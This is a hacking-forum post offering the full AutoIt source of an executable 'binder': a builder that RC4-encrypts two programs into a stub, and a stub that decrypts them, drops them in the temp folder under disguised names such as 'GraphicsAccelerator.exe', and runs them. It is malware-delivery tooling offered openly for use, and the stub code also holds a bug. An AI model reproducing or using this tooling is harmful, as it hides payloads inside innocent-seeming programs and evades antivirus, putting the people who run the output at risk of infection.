[HC Official] Hack Community Binder 01-31-2013, 04:44 AM
#1
Hello mates,
I'm glad to present before all of you guys Hack Community Binder today. It can be used to encrypt and bind two executable files along with a stub file into a single file. This file when executed would let both the files encrypted withing itself execute at the same time. It is an open source project done in autoit, so modifications and enhancements are welcome.
Screenshot:
![[Image: HC_Binder.png]](http://s2.postimage.org/axxfvdk0p/HC_Binder.png)
Binder Source :
Stub Source :
Download Link :
HC Binder x86
HC Binder x64
I'm glad to present before all of you guys Hack Community Binder today. It can be used to encrypt and bind two executable files along with a stub file into a single file. This file when executed would let both the files encrypted withing itself execute at the same time. It is an open source project done in autoit, so modifications and enhancements are welcome.
Screenshot:
Binder Source :
Code:
#include<GUIConstants.au3>
#include<EditConstants.au3>
#include<Crypt.au3>
#include<WindowsConstants.au3>
#include<GDIPlus.au3>
Opt("GUIOnEventMode",1)
$color1=0x090909
$color2=0xff0000
$color3=0x777777
$frame=GUICreate("Binder",600,400,200,200,$WS_POPUPWINDOW)
_GDIPlus_Startup()
$hImage = _GDIPlus_ImageLoadFromFile("logo.png")
$hGraphic = _GDIPlus_GraphicsCreateFromHWND($frame)
GUIRegisterMsg($WM_PAINT, "MY_WM_PAINT")
$header=GUICtrlCreateLabel("Binder",340,40,130,50)
$label1=GUICtrlCreateLabel("File 1",20,230,60,20)
$label2=GUICtrlCreateLabel("File 2",20,270,60,20)
$label3=GUICtrlCreateLabel("Output Path",20,310,60,20)
$input1=GUICtrlCreateInput("",90,230,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input2=GUICtrlCreateInput("",90,270,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input3=GUICtrlCreateInput("",90,310,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$button1=GUICtrlCreateButton("...",550,230,30,20)
$button2=GUICtrlCreateButton("...",550,270,30,20)
$button3=GUICtrlCreateButton("...",550,310,30,20)
$bind=GUICtrlCreateButton("Bind",190,350,70,25)
$close=GUICtrlCreateButton("Close",270,350,70,25)
$about=GUICtrlCreateButton(">>",570,370,20,20)
$frame2=GUICreate("",300,100,800,500,$WS_POPUPWINDOW)
$label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100)
$view=0
init()
GUICtrlSetOnEvent($close,"quit")
GUICtrlSetOnEvent($button1,"getpath1")
GUICtrlSetOnEvent($button2,"getpath2")
GUICtrlSetOnEvent($button3,"getpath3")
GUICtrlSetOnEvent($bind,"bind")
GUICtrlSetOnEvent($about,"about")
GUISetState(@SW_SHOW,$frame)
GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame)
While 1
;
WEnd
Func MY_WM_PAINT($hWnd, $msg, $wParam, $lParam)
#forceref $hWnd, $Msg, $wParam, $lParam
_WinAPI_RedrawWindow($frame, 0, 0, $RDW_UPDATENOW)
_GDIPlus_GraphicsDrawImage($hGraphic, $hImage, 0, 0)
_WinAPI_RedrawWindow($frame, 0, 0, $RDW_VALIDATE)
Return $GUI_RUNDEFMSG
EndFunc
Func init()
GUICtrlSetFont($header,25,700,2)
GUICtrlSetFont($label1,14)
GUICtrlSetFont($label2,14)
GUICtrlSetFont($label3,14)
GUICtrlSetFont($label,11)
GUICtrlSetFont($bind,12)
GUICtrlSetFont($close,12)
GUICtrlSetFont($input1,12)
GUICtrlSetFont($input2,12)
GUICtrlSetFont($input3,12)
GUISetBkColor($color1,$frame)
GUISetBkColor($color1,$frame2)
GUICtrlSetBkColor($input1,$color3)
GUICtrlSetBkColor($input2,$color3)
GUICtrlSetBkColor($input3,$color3)
GUICtrlSetBkColor($button1,$color2)
GUICtrlSetBkColor($button2,$color2)
GUICtrlSetBkColor($button3,$color2)
GUICtrlSetColor($label1,$color2)
GUICtrlSetColor($label2,$color2)
GUICtrlSetColor($label,$color2)
GUICtrlSetColor($label3,$color2)
GUICtrlSetBkColor($bind,$color2)
GUICtrlSetBkColor($close,$color2)
GUICtrlSetBkColor($about,$color2)
GUICtrlSetColor($header,$color2)
EndFunc
Func quit()
_GDIPlus_GraphicsDispose($hGraphic)
_GDIPlus_ImageDispose($hImage)
_GDIPlus_Shutdown()
Exit
EndFunc
Func getpath1()
$filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
If @error Then
;
Else
GUICtrlSetData($input1,$filepath)
EndIf
EndFunc
Func getpath2()
$filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
If @error Then
;
Else
GUICtrlSetData($input2,$filepath)
EndIf
EndFunc
Func getpath3()
$filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe"
If @error Then
;
Else
GUICtrlSetData($input3,$filepath)
EndIf
EndFunc
Func bind()
$path1=GUICtrlRead($input1)
$path2=GUICtrlRead($input2)
$path3=GUICtrlRead($input3)
If FileExists($path1) And FileExists($path2) Then
$marker=StringToBinary("SOLIXIOUS")
$output=FileOpen($path3,1+2+8+16)
$inputx1=FileOpen($path1,0+16)
$inputx2=FileOpen($path2,0+16)
$data1=FileRead($inputx1)
$data2=FileRead($inputx2)
$stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)
$stubdata=FileRead($stub)
FileWrite($output,$stubdata)
FileWrite($output,$marker)
$data1=encrypt(BinaryToString($data1))
$data2=encrypt(BinaryToString($data2))
FileWrite($output,StringToBinary($data1))
FileWrite($output,$marker)
FileWrite($output,StringToBinary($data2))
FileClose($output)
FileClose($inputx1)
FileClose($inputx2)
MsgBox(64,"Successful","Files Binded Successfully!")
GUICtrlSetData($input1,"")
GUICtrlSetData($input2,"")
GUICtrlSetData($input3,"")
EndIf
EndFunc
Func encrypt($data)
$data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4)
Return $data
EndFunc
Func about()
If $view=0 Then
GUISetState(@SW_SHOW,$frame2)
GUICtrlSetData($about,"<<")
$view=1
Else
GUISetState(@SW_HIDE,$frame2)
GUICtrlSetData($about,">>")
$view=0
EndIf
EndFuncStub Source :
Code:
#include<Crypt.au3>
$path=@ScriptFullPath
$file=FileOpen($path,0+16)
$data=FileRead($file)
$marker="SOLIXIOUS"
$strdata=BinaryToString($data)
$ardata=StringSplit($strdata,$marker,1)
HotKeySet("+!c","quit")
If @error Then
MsgBox(0,"No Delimiters","No delimiters Found!")
Else
If $ardata[0]=3 Then
$ardata[2]=decrypt(BinaryToString($ardata[2]))
$ardata[3]=decrypt(BinaryToString($ardata[3]))
$file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)
FileWrite($file1,$ardata[2])
FileClose($file1)
$file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16)
FileWrite($file1,$ardata[3])
FileClose($file2)
ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
ShellExecute(@TempDir & "\GraphicsService.exe")
While 1
;
WEnd
EndIf
EndIf
Func decrypt($data)
$data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4)
return $data
EndFunc
Func quit()
Exit
EndFuncDownload Link :
HC Binder x86
HC Binder x64
Folow me on My YouTube Channel if you're into art.
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
![[Image: 2YpkRjy.png]](http://i.imgur.com/2YpkRjy.png)
![[Image: gVaMf3E.png?1]](http://i.imgur.com/gVaMf3E.png?1)
